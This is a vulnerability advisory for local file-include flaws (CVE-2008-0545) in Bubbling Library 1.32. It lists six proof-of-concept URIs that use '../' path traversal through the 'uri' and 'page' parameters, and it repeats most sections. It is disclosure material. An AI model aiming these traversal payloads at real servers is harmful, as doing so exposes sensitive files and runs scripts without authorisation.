Bubbling Library Multiple Local File Include Vulnerabilities
BID:27466
Info
Bubbling Library Multiple Local File Include Vulnerabilities
| Bugtraq ID: | 27466 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0545 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 26 2008 12:00AM |
| Updated: | May 07 2015 05:33PM |
| Credit: | Stack-Terrorist discovered these vulnerabilities. |
| Vulnerable: |
Bubbling Library Bubbling Library 1.32 |
| Not Vulnerable: | |
Discussion
Bubbling Library Multiple Local File Include Vulnerabilities
Bubbling Library is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.
These issues affect Bubbling Library 1.32; other versions may also be affected.
Bubbling Library is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.
These issues affect Bubbling Library 1.32; other versions may also be affected.
Exploit / POC
Bubbling Library Multiple Local File Include Vulnerabilities
Attackers may exploit these issues through a browser.
The following proof-of-concept URIs are available:
http://www.example.com/examples/dispatcher/framework/yui-menu.tpl.php?uri=../[local_script]
http://www.example.com/examples/dispatcher/framework/yui-menu.php?page=../[local_script]
http://www.example.com/examples/dispatcher/framework/simple.tpl.php?uri=../[local_script]
http://www.example.com/examples/dispatcher/framework/simple.php?page=../[local_script]
http://www.example.com/examples/dispatcher/framework/advanced.tpl.php?uri=../[local_script]
http://www.example.com/examples/dispatcher/framework/advanced.php?page=../[local_script]
Attackers may exploit these issues through a browser.
The following proof-of-concept URIs are available:
http://www.example.com/examples/dispatcher/framework/yui-menu.tpl.php?uri=../[local_script]
http://www.example.com/examples/dispatcher/framework/yui-menu.php?page=../[local_script]
http://www.example.com/examples/dispatcher/framework/simple.tpl.php?uri=../[local_script]
http://www.example.com/examples/dispatcher/framework/simple.php?page=../[local_script]
http://www.example.com/examples/dispatcher/framework/advanced.tpl.php?uri=../[local_script]
http://www.example.com/examples/dispatcher/framework/advanced.php?page=../[local_script]
Solution / Fix
Bubbling Library Multiple Local File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Bubbling Library Multiple Local File Include Vulnerabilities
References:
References:
- Bubbling Library Homepage (Bubbling Library)